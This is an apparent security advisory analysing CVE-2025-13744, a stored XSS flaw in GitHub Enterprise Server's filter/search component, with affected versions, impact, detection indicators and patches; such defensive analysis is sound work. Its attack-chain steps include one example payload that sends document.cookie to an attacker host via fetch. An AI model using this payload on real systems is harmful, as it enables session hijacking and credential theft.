CVE-2025-13744: 
GitHub Enterprise Server vulnerability analysis and mitigation

CVE-2025-13744 is a stored Cross-Site Scripting (XSS) vulnerability in GitHub Enterprise Server (GHES) that allows attacker-controlled HTML to be rendered by the Filter/search component across the platform, enabling sensitive information exfiltration. The vulnerability was disclosed on January 6, 2026, and affects all GHES versions prior to 3.20, specifically versions 3.14.0–3.14.19, 3.15.0–3.15.14, 3.16.0–3.16.10, 3.17.0–3.17.7, 3.18.0–3.18.1, and 3.19.0. It was reported via the GitHub Bug Bounty program. The CVSS v3.1 base score is 5.4 (Medium), while the CNA-assigned CVSS v4.0 base score is 8.4 (High) (Feedly, GitHub Release Notes 3.19.1).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The root cause is insufficient sanitization of user-supplied input in entity names (milestones, issues, pull requests, and similar objects) before they are rendered within the Filter/search components of the GHES web interface. An authenticated attacker with permissions to create or modify these entity names can embed malicious HTML or JavaScript payloads that are subsequently rendered in the browser of any user who views the affected filter or search results. Exploitation requires low privileges (the ability to create/modify entity names) and passive user interaction (a victim must view the search/filter output containing the injected content) (Feedly).

Successful exploitation allows an attacker to inject and execute arbitrary JavaScript in the context of a victim user's browser session on the GHES instance. This can be leveraged to exfiltrate sensitive information such as session tokens, authentication cookies, CSRF tokens, or other confidential data visible on the page. The CVSS v4.0 scoring reflects high confidentiality and integrity impact on both the vulnerable component and the broader system scope, indicating potential for session hijacking and unauthorized actions on behalf of the victim. Availability is not directly impacted (Feedly).

As of the time of disclosure, there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation (Feedly). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.042%, indicating a low probability of exploitation in the near term. Exploitation requires an authenticated attacker with at least contributor-level permissions to create or rename entities such as milestones or issues, and also requires a victim to interact with the affected search/filter UI.

1. Gain access: Obtain a low-privileged account on the target GitHub Enterprise Server instance with permissions to create or modify milestones, issues, or pull requests.
2. Craft malicious entity name: Create or rename a milestone, issue, pull request, or similar entity with a name containing a malicious HTML/JavaScript payload, such as <img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)> or a similar XSS vector.
3. Trigger victim interaction: Lure a target user (e.g., a repository administrator or developer with elevated privileges) to use the GHES search or filter functionality in a context where the maliciously named entity appears in the results.
4. Payload execution: When the victim's browser renders the filter/search results, the injected HTML/JavaScript executes in their browser session, potentially exfiltrating session tokens, cookies, or other sensitive data to an attacker-controlled server.
5. Exfiltrate data: Collect the stolen credentials or tokens from the attacker-controlled endpoint and use them to impersonate the victim or access protected resources (Feedly).

• Logs: GHES audit logs showing creation or frequent renaming of milestones, issues, or pull requests with unusual names containing HTML tags or JavaScript syntax (e.g., <script>, onerror=, javascript:).
• Network: Outbound HTTP requests from user browsers to unexpected external domains shortly after interacting with GHES search/filter pages, potentially carrying encoded cookie or token data in query parameters.
• Logs: Web server access logs showing search or filter endpoint requests that return results containing entity names with HTML special characters or encoded payloads.
• Browser/Client: Unexpected redirects or resource loads to external domains triggered from within the GHES web interface during search/filter operations.

GitHub has released patched versions addressing this vulnerability: 3.14.20, 3.15.15, 3.16.11, 3.17.8, 3.18.2, and 3.19.1. Administrators should upgrade to the appropriate patched version for their deployment branch as soon as possible. As an interim measure, restricting permissions to create or modify milestones, issues, and pull request names to trusted users only can reduce the attack surface. Reviewing audit logs for suspicious entity name modifications is also recommended (GitHub Release Notes 3.14, GitHub Release Notes 3.16).

The vulnerability was reported through the GitHub Bug Bounty program and disclosed by GitHub, Inc. as the CNA. No significant independent researcher commentary, exploit releases, or notable media coverage beyond standard vulnerability database entries has been identified at this time.